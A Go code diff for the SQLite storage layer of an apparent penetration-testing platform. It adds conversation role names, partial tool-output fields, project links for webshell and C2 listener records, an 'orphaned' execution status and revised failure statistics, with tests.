@@ -678,43 +675,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
|
||||
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var conversations []*Conversation
|
||||
for rows.Next() {
|
||||
var conv Conversation
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var projectID sql.NullString
|
||||
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
|
||||
var err1, err2 error
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||
if err1 != nil {
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||
}
|
||||
if err1 != nil {
|
||||
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
}
|
||||
|
||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||
if err2 != nil {
|
||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||
}
|
||||
if err2 != nil {
|
||||
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||
}
|
||||
|
||||
conv.Pinned = pinned != 0
|
||||
conversations = append(conversations, &conv)
|
||||
}
|
||||
|
||||
return conversations, rows.Err()
|
||||
return scanConversationRows(rows)
|
||||
}
|
||||
|
||||
func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
|
||||
@@ -728,7 +689,7 @@ func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, pro
|
||||
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
|
||||
args = append(args, limit, offset)
|
||||
rows, err := db.Query(
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
|
||||
where+`
|
||||
`+orderClause+`
|
||||
LIMIT ? OFFSET ?`,
|
||||
@@ -861,6 +822,19 @@ func (db *DB) einoReductionBaseDir() string {
|
||||
return filepath.Join("tmp", "reduction")
|
||||
}
|
||||
|
||||
// EinoReductionBaseDir returns the configured reduction cache root.
|
||||
func (db *DB) EinoReductionBaseDir() string {
|
||||
return db.einoReductionBaseDir()
|
||||
}
|
||||
|
||||
// ConversationArtifactsBaseDir returns the conversation-scoped artifacts root.
|
||||
func (db *DB) ConversationArtifactsBaseDir() string {
|
||||
if db == nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(db.conversationArtifactsDir)
|
||||
}
|
||||
|
||||
func (db *DB) einoWorkspaceBaseDir() string {
|
||||
if db == nil {
|
||||
return ""
|
||||
|
||||
@@ -5,6 +5,7 @@ type ConversationCreateMeta struct {
|
||||
Source string
|
||||
WebShellConnectionID string
|
||||
ProjectID string
|
||||
RoleName string
|
||||
ClientIP string
|
||||
SessionHint string
|
||||
}
|
||||
|
||||
@@ -183,6 +183,7 @@ func (db *DB) initTables() error {
|
||||
title TEXT NOT NULL,
|
||||
created_at DATETIME NOT NULL,
|
||||
updated_at DATETIME NOT NULL,
|
||||
role_name TEXT NOT NULL DEFAULT '默认',
|
||||
last_react_input TEXT,
|
||||
last_react_output TEXT
|
||||
);`
|
||||
@@ -226,6 +227,10 @@ func (db *DB) initTables() error {
|
||||
start_time DATETIME NOT NULL,
|
||||
end_time DATETIME,
|
||||
duration_ms INTEGER,
|
||||
partial_output TEXT,
|
||||
partial_output_bytes INTEGER NOT NULL DEFAULT 0,
|
||||
partial_output_truncated INTEGER NOT NULL DEFAULT 0,
|
||||
partial_output_updated_at DATETIME,
|
||||
owner_user_id TEXT,
|
||||
conversation_id TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
@@ -489,6 +494,7 @@ func (db *DB) initTables() error {
|
||||
createWebshellConnectionsTable := `
|
||||
CREATE TABLE IF NOT EXISTS webshell_connections (
|
||||
id TEXT PRIMARY KEY,
|
||||
project_id TEXT,
|
||||
url TEXT NOT NULL,
|
||||
password TEXT NOT NULL DEFAULT '',
|
||||
type TEXT NOT NULL DEFAULT 'php',
|
||||
@@ -515,6 +521,7 @@ func (db *DB) initTables() error {
|
||||
createC2ListenersTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_listeners (
|
||||
id TEXT PRIMARY KEY,
|
||||
project_id TEXT,
|
||||
name TEXT NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
bind_host TEXT NOT NULL DEFAULT '127.0.0.1',
|
||||
@@ -751,8 +758,10 @@ func (db *DB) initTables() error {
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connections_project_id ON webshell_connections(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_created_at ON c2_listeners(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_project_id ON c2_listeners(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_status ON c2_listeners(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_listener ON c2_sessions(listener_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_status ON c2_sessions(status);
|
||||
@@ -951,9 +960,15 @@ func (db *DB) initTables() error {
|
||||
db.logger.Warn("迁移webshell_connections表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
if err := db.migrateC2ListenersTable(); err != nil {
|
||||
db.logger.Warn("迁移c2_listeners表失败", zap.Error(err))
|
||||
}
|
||||
if err := db.migrateWorkflowRunsTable(); err != nil {
|
||||
db.logger.Warn("迁移workflow_runs表失败", zap.Error(err))
|
||||
}
|
||||
if err := db.migrateToolExecutionsPartialOutputColumns(); err != nil {
|
||||
db.logger.Warn("迁移tool_executions partial output字段失败", zap.Error(err))
|
||||
}
|
||||
if err := db.migrateRBACOwnershipColumns(); err != nil {
|
||||
db.logger.Warn("迁移RBAC资源归属字段失败", zap.Error(err))
|
||||
}
|
||||
@@ -978,6 +993,23 @@ func (db *DB) migrateRobotUserSessionsTable() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *DB) migrateToolExecutionsPartialOutputColumns() error {
|
||||
for _, col := range []struct {
|
||||
name string
|
||||
stmt string
|
||||
}{
|
||||
{"partial_output", "ALTER TABLE tool_executions ADD COLUMN partial_output TEXT"},
|
||||
{"partial_output_bytes", "ALTER TABLE tool_executions ADD COLUMN partial_output_bytes INTEGER NOT NULL DEFAULT 0"},
|
||||
{"partial_output_truncated", "ALTER TABLE tool_executions ADD COLUMN partial_output_truncated INTEGER NOT NULL DEFAULT 0"},
|
||||
{"partial_output_updated_at", "ALTER TABLE tool_executions ADD COLUMN partial_output_updated_at DATETIME"},
|
||||
} {
|
||||
if err := db.addColumnIfMissing("tool_executions", col.name, col.stmt); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateAssetsTable keeps databases created by the first asset-management release compatible.
|
||||
func (db *DB) migrateAssetsTable() error {
|
||||
columns := []struct {
|
||||
@@ -1127,6 +1159,21 @@ func (db *DB) migrateConversationsTable() error {
|
||||
}
|
||||
}
|
||||
|
||||
// 检查 role_name 字段是否存在(对话绑定的业务角色,用于历史任务切换时恢复角色上下文)
|
||||
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='role_name'").Scan(&count)
|
||||
if err != nil {
|
||||
if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
db.logger.Warn("添加role_name字段失败", zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
} else if count == 0 {
|
||||
if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); err != nil {
|
||||
db.logger.Warn("添加role_name字段失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1570,6 +1617,7 @@ func (db *DB) migrateWebshellConnectionsTable() error {
|
||||
name string
|
||||
stmt string
|
||||
}{
|
||||
{name: "project_id", stmt: "ALTER TABLE webshell_connections ADD COLUMN project_id TEXT"},
|
||||
{name: "encoding", stmt: "ALTER TABLE webshell_connections ADD COLUMN encoding TEXT NOT NULL DEFAULT ''"},
|
||||
{name: "os", stmt: "ALTER TABLE webshell_connections ADD COLUMN os TEXT NOT NULL DEFAULT ''"},
|
||||
}
|
||||
@@ -1595,6 +1643,10 @@ func (db *DB) migrateWebshellConnectionsTable() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *DB) migrateC2ListenersTable() error {
|
||||
return db.addColumnIfMissing("c2_listeners", "project_id", "ALTER TABLE c2_listeners ADD COLUMN project_id TEXT")
|
||||
}
|
||||
|
||||
// NewKnowledgeDB 创建知识库数据库连接(只包含知识库相关的表)
|
||||
func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
sqlDB, err := sql.Open("sqlite3", dbPath+"?_journal_mode=WAL&_foreign_keys=1&_busy_timeout=5000&_synchronous=NORMAL")
|
||||
|
||||
@@ -43,11 +43,19 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
|
||||
if exec.Duration > 0 {
|
||||
durationMs = sql.NullInt64{Int64: exec.Duration.Milliseconds(), Valid: true}
|
||||
}
|
||||
var partialUpdatedAt sql.NullTime
|
||||
if exec.PartialOutputUpdatedAt != nil {
|
||||
partialUpdatedAt = sql.NullTime{Time: *exec.PartialOutputUpdatedAt, Valid: true}
|
||||
}
|
||||
partialTruncated := 0
|
||||
if exec.PartialOutputTruncated {
|
||||
partialTruncated = 1
|
||||
}
|
||||
|
||||
query := `
|
||||
INSERT OR REPLACE INTO tool_executions
|
||||
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, owner_user_id, conversation_id, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, partial_output, partial_output_bytes, partial_output_truncated, partial_output_updated_at, owner_user_id, conversation_id, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
|
||||
_, err = db.Exec(query,
|
||||
@@ -60,6 +68,10 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
|
||||
exec.StartTime,
|
||||
endTime,
|
||||
durationMs,
|
||||
sqlNullString(exec.PartialOutput),
|
||||
exec.PartialOutputBytes,
|
||||
partialTruncated,
|
||||
partialUpdatedAt,
|
||||
strings.TrimSpace(exec.OwnerUserID),
|
||||
strings.TrimSpace(exec.ConversationID),
|
||||
time.Now(),
|
||||
@@ -90,6 +102,13 @@ func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error
|
||||
return err
|
||||
}
|
||||
|
||||
func sqlNullString(s string) sql.NullString {
|
||||
if s == "" {
|
||||
return sql.NullString{}
|
||||
}
|
||||
return sql.NullString{String: s, Valid: true}
|
||||
}
|
||||
|
||||
// CountToolExecutions 统计工具执行记录总数
|
||||
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
|
||||
return db.CountToolExecutionsForAccess(status, toolName, RBACListAccess{Scope: RBACScopeAll})
|
||||
@@ -267,7 +286,8 @@ type ToolStatsSummaryResult struct {
|
||||
TopTools []*mcp.ToolStats
|
||||
}
|
||||
|
||||
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)
|
||||
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)。
|
||||
// 监控页的失败口径只包含真实失败/异常终止;用户主动取消的 cancelled 保留在总调用中,不计入失败。
|
||||
func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
||||
if topN <= 0 {
|
||||
topN = 6
|
||||
@@ -282,19 +302,19 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
||||
|
||||
summaryQuery := `
|
||||
SELECT COUNT(*),
|
||||
COALESCE(SUM(total_calls), 0),
|
||||
COALESCE(SUM(success_calls), 0),
|
||||
COALESCE(SUM(failed_calls), 0),
|
||||
MAX(last_call_time)
|
||||
FROM tool_stats
|
||||
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
|
||||
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
|
||||
MAX(start_time),
|
||||
COUNT(DISTINCT tool_name)
|
||||
FROM tool_executions
|
||||
`
|
||||
var lastCallRaw sql.NullString
|
||||
err := db.QueryRow(summaryQuery).Scan(
|
||||
&result.Summary.ToolCount,
|
||||
&result.Summary.TotalCalls,
|
||||
&result.Summary.SuccessCalls,
|
||||
&result.Summary.FailedCalls,
|
||||
&lastCallRaw,
|
||||
&result.Summary.ToolCount,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -310,9 +330,13 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
||||
}
|
||||
|
||||
topQuery := `
|
||||
SELECT tool_name, total_calls, success_calls, failed_calls, last_call_time
|
||||
FROM tool_stats
|
||||
WHERE total_calls > 0
|
||||
SELECT tool_name,
|
||||
COUNT(*) AS total_calls,
|
||||
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) AS success_calls,
|
||||
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed_calls,
|
||||
MAX(start_time) AS last_call_time
|
||||
FROM tool_executions
|
||||
GROUP BY tool_name
|
||||
ORDER BY total_calls DESC, tool_name ASC
|
||||
LIMIT ?
|
||||
`
|
||||
@@ -324,7 +348,7 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
||||
|
||||
for rows.Next() {
|
||||
var stat mcp.ToolStats
|
||||
var lastCallTime sql.NullTime
|
||||
var lastCallTime sql.NullString
|
||||
if err := rows.Scan(
|
||||
&stat.ToolName,
|
||||
&stat.TotalCalls,
|
||||
@@ -336,7 +360,8 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
||||
continue
|
||||
}
|
||||
if lastCallTime.Valid {
|
||||
stat.LastCallTime = &lastCallTime.Time
|
||||
parsed := parseDBTime(lastCallTime.String)
|
||||
stat.LastCallTime = &parsed
|
||||
}
|
||||
result.TopTools = append(result.TopTools, &stat)
|
||||
}
|
||||
@@ -359,7 +384,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
|
||||
var lastCall sql.NullString
|
||||
err := db.QueryRow(`SELECT COUNT(*),
|
||||
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
|
||||
COALESCE(SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), 0),
|
||||
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
|
||||
MAX(start_time), COUNT(DISTINCT tool_name)`+fromSQL, args...).Scan(
|
||||
&result.Summary.TotalCalls, &result.Summary.SuccessCalls, &result.Summary.FailedCalls,
|
||||
&lastCall, &result.Summary.ToolCount,
|
||||
@@ -373,7 +398,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
|
||||
}
|
||||
rows, err := db.Query(`SELECT tool_name, COUNT(*),
|
||||
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END),
|
||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), MAX(start_time)`+
|
||||
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), MAX(start_time)`+
|
||||
fromSQL+` GROUP BY tool_name ORDER BY COUNT(*) DESC, tool_name ASC LIMIT ?`, append(args, topN)...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -482,7 +507,9 @@ func appendToolExecutionAccessSQL(query string, args []interface{}, access RBACL
|
||||
// GetToolExecution 根据ID获取单条工具执行记录
|
||||
func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
||||
query := `
|
||||
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
|
||||
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms,
|
||||
COALESCE(partial_output, ''), COALESCE(partial_output_bytes, 0), COALESCE(partial_output_truncated, 0), partial_output_updated_at,
|
||||
COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
|
||||
FROM tool_executions
|
||||
WHERE id = ?
|
||||
`
|
||||
@@ -495,6 +522,8 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
||||
var errorText sql.NullString
|
||||
var endTime sql.NullTime
|
||||
var durationMs sql.NullInt64
|
||||
var partialTruncated int
|
||||
var partialUpdatedAt sql.NullTime
|
||||
|
||||
err := row.Scan(
|
||||
&exec.ID,
|
||||
@@ -506,6 +535,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
||||
&exec.StartTime,
|
||||
&endTime,
|
||||
&durationMs,
|
||||
&exec.PartialOutput,
|
||||
&exec.PartialOutputBytes,
|
||||
&partialTruncated,
|
||||
&partialUpdatedAt,
|
||||
&exec.OwnerUserID,
|
||||
&exec.ConversationID,
|
||||
)
|
||||
@@ -538,6 +571,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
||||
if durationMs.Valid {
|
||||
exec.Duration = time.Duration(durationMs.Int64) * time.Millisecond
|
||||
}
|
||||
exec.PartialOutputTruncated = partialTruncated != 0
|
||||
if partialUpdatedAt.Valid {
|
||||
exec.PartialOutputUpdatedAt = &partialUpdatedAt.Time
|
||||
}
|
||||
|
||||
return &exec, nil
|
||||
}
|
||||
@@ -565,7 +602,7 @@ func (db *DB) UserCanAccessToolExecution(userID, scope, executionID string) bool
|
||||
return conversation != "" && db.UserCanAccessResource(userID, scope, "conversation", conversation)
|
||||
}
|
||||
|
||||
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 cancelled(如进程重启后无对应执行协程)。
|
||||
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 orphaned(如进程重启后无对应执行协程)。
|
||||
func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg string) (int64, error) {
|
||||
errMsg = strings.TrimSpace(errMsg)
|
||||
if errMsg == "" {
|
||||
@@ -573,7 +610,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
|
||||
}
|
||||
query := `
|
||||
UPDATE tool_executions
|
||||
SET status = 'cancelled',
|
||||
SET status = 'orphaned',
|
||||
error = ?,
|
||||
end_time = ?,
|
||||
duration_ms = MAX(0, CAST((julianday(?) - julianday(start_time)) * 86400000 AS INTEGER))
|
||||
@@ -586,7 +623,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
|
||||
return res.RowsAffected()
|
||||
}
|
||||
|
||||
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 cancelled。
|
||||
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 orphaned。
|
||||
// activeIDs 为当前进程内仍登记 cancel 的 executionId;不在集合内且已超时的视为孤儿记录。
|
||||
func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.Duration, activeIDs map[string]struct{}, errMsg string) (int64, error) {
|
||||
errMsg = strings.TrimSpace(errMsg)
|
||||
@@ -639,7 +676,7 @@ func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.
|
||||
}
|
||||
res, err := db.Exec(`
|
||||
UPDATE tool_executions
|
||||
SET status = 'cancelled', error = ?, end_time = ?, duration_ms = ?
|
||||
SET status = 'orphaned', error = ?, end_time = ?, duration_ms = ?
|
||||
WHERE id = ? AND status = 'running'
|
||||
`, errMsg, endTime, durationMs, row.id)
|
||||
if err != nil {
|
||||
@@ -815,7 +852,7 @@ func (db *DB) PurgeToolExecutionsBefore(cutoff time.Time) (int64, error) {
|
||||
}
|
||||
delta.totalCalls += count
|
||||
switch status {
|
||||
case "failed", "cancelled":
|
||||
case "failed", "hard_timeout", "orphaned":
|
||||
delta.failedCalls += count
|
||||
case "completed":
|
||||
delta.successCalls += count
|
||||
@@ -971,7 +1008,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
|
||||
query = `
|
||||
SELECT date(start_time, 'localtime') AS bucket,
|
||||
COUNT(*) AS total,
|
||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
|
||||
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
|
||||
FROM tool_executions
|
||||
WHERE start_time >= ?
|
||||
GROUP BY bucket
|
||||
@@ -981,7 +1018,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
|
||||
query = `
|
||||
SELECT strftime('%Y-%m-%d %H:00:00', start_time, 'localtime') AS bucket,
|
||||
COUNT(*) AS total,
|
||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
|
||||
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
|
||||
FROM tool_executions
|
||||
WHERE start_time >= ?
|
||||
GROUP BY bucket
|
||||
|
||||
@@ -43,8 +43,8 @@ func TestCancelOrphanedRunningToolExecutions(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("GetToolExecution: %v", err)
|
||||
}
|
||||
if got.Status != "cancelled" {
|
||||
t.Fatalf("expected cancelled, got %s", got.Status)
|
||||
if got.Status != "orphaned" {
|
||||
t.Fatalf("expected orphaned, got %s", got.Status)
|
||||
}
|
||||
if got.EndTime == nil {
|
||||
t.Fatal("expected end_time to be set")
|
||||
@@ -88,8 +88,8 @@ func TestFinalizeStaleRunningToolExecutions_skipsActive(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("GetToolExecution stale: %v", err)
|
||||
}
|
||||
if stale.Status != "cancelled" {
|
||||
t.Fatalf("stale expected cancelled, got %s", stale.Status)
|
||||
if stale.Status != "orphaned" {
|
||||
t.Fatalf("stale expected orphaned, got %s", stale.Status)
|
||||
}
|
||||
|
||||
activeExec, err := db.GetToolExecution("active")
|
||||
|
||||
@@ -84,3 +84,49 @@ func TestLoadToolStatsSummaryAndListPage(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadToolStatsSummaryDoesNotCountCancelledAsFailed(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "monitor-cancelled-summary.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("NewDB: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
now := time.Now()
|
||||
for i, status := range []string{"completed", "cancelled", "failed"} {
|
||||
exec := &mcp.ToolExecution{
|
||||
ID: fmt.Sprintf("exec-%d", i),
|
||||
ToolName: "exec",
|
||||
Arguments: map[string]interface{}{},
|
||||
Status: status,
|
||||
StartTime: now.Add(time.Duration(i) * time.Second),
|
||||
}
|
||||
end := exec.StartTime.Add(time.Second)
|
||||
exec.EndTime = &end
|
||||
exec.Duration = time.Second
|
||||
if err := db.SaveToolExecution(exec); err != nil {
|
||||
t.Fatalf("SaveToolExecution(%s): %v", status, err)
|
||||
}
|
||||
}
|
||||
|
||||
summary, err := db.LoadToolStatsSummary(1)
|
||||
if err != nil {
|
||||
t.Fatalf("LoadToolStatsSummary: %v", err)
|
||||
}
|
||||
if summary.Summary.TotalCalls != 3 {
|
||||
t.Fatalf("totalCalls = %d, want 3", summary.Summary.TotalCalls)
|
||||
}
|
||||
if summary.Summary.SuccessCalls != 1 {
|
||||
t.Fatalf("successCalls = %d, want 1", summary.Summary.SuccessCalls)
|
||||
}
|
||||
if summary.Summary.FailedCalls != 1 {
|
||||
t.Fatalf("failedCalls = %d, want 1", summary.Summary.FailedCalls)
|
||||
}
|
||||
if len(summary.TopTools) != 1 {
|
||||
t.Fatalf("top tools = %d, want 1", len(summary.TopTools))
|
||||
}
|
||||
if summary.TopTools[0].FailedCalls != 1 {
|
||||
t.Fatalf("top tool failedCalls = %d, want 1", summary.TopTools[0].FailedCalls)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -263,7 +263,7 @@ func (db *DB) UpdateProject(p *Project) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProject 删除项目(级联删除事实;对话 project_id 置空由 FK 处理;漏洞 project_id 置空)。
|
||||
// DeleteProject 删除项目(级联删除事实;对话 project_id 置空由 FK 处理;其他资源 project_id 置空)。
|
||||
func (db *DB) DeleteProject(id string) error {
|
||||
if _, err := db.Exec(`UPDATE vulnerabilities SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||
return fmt.Errorf("解除漏洞项目关联失败: %w", err)
|
||||
@@ -271,6 +271,12 @@ func (db *DB) DeleteProject(id string) error {
|
||||
if _, err := db.Exec(`UPDATE assets SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||
return fmt.Errorf("解除资产项目关联失败: %w", err)
|
||||
}
|
||||
if _, err := db.Exec(`UPDATE webshell_connections SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||
return fmt.Errorf("解除 WebShell 项目关联失败: %w", err)
|
||||
}
|
||||
if _, err := db.Exec(`UPDATE c2_listeners SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||
return fmt.Errorf("解除 C2 监听器项目关联失败: %w", err)
|
||||
}
|
||||
_, err := db.Exec(`DELETE FROM projects WHERE id = ?`, id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("删除项目失败: %w", err)
|
||||
|
||||
@@ -84,7 +84,7 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
|
||||
limit = 100
|
||||
}
|
||||
rows, err := db.Query(
|
||||
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id
|
||||
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name
|
||||
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
|
||||
projectID, limit, offset,
|
||||
)
|
||||
@@ -99,12 +99,16 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var pid sql.NullString
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid); err != nil {
|
||||
var roleName sql.NullString
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid, &roleName); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if pid.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(pid.String)
|
||||
}
|
||||
if roleName.Valid {
|
||||
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||
}
|
||||
conv.CreatedAt = parseDBTime(createdAt)
|
||||
conv.UpdatedAt = parseDBTime(updatedAt)
|
||||
conv.Pinned = pinned != 0
|
||||
|
||||
@@ -373,22 +373,46 @@ func TestRBACBatchResourceAssignmentValidationAndAtomicity(t *testing.T) {
|
||||
|
||||
func TestRBACWebshellAndBatchListAccess(t *testing.T) {
|
||||
db := newRBACTestDB(t)
|
||||
ws1 := WebShellConnection{ID: "ws_visible", URL: "http://a", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
ws2 := WebShellConnection{ID: "ws_hidden", URL: "http://b", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
ws1 := WebShellConnection{ID: "ws_visible", ProjectID: "p1", URL: "http://a", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
ws2 := WebShellConnection{ID: "ws_hidden", ProjectID: "p2", URL: "http://b", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
ws3 := WebShellConnection{ID: "ws_other_project", ProjectID: "p2", URL: "http://c", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
ws4 := WebShellConnection{ID: "ws_unbound", URL: "http://d", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
if err := db.CreateWebshellConnection(&ws1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateWebshellConnection(&ws2); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
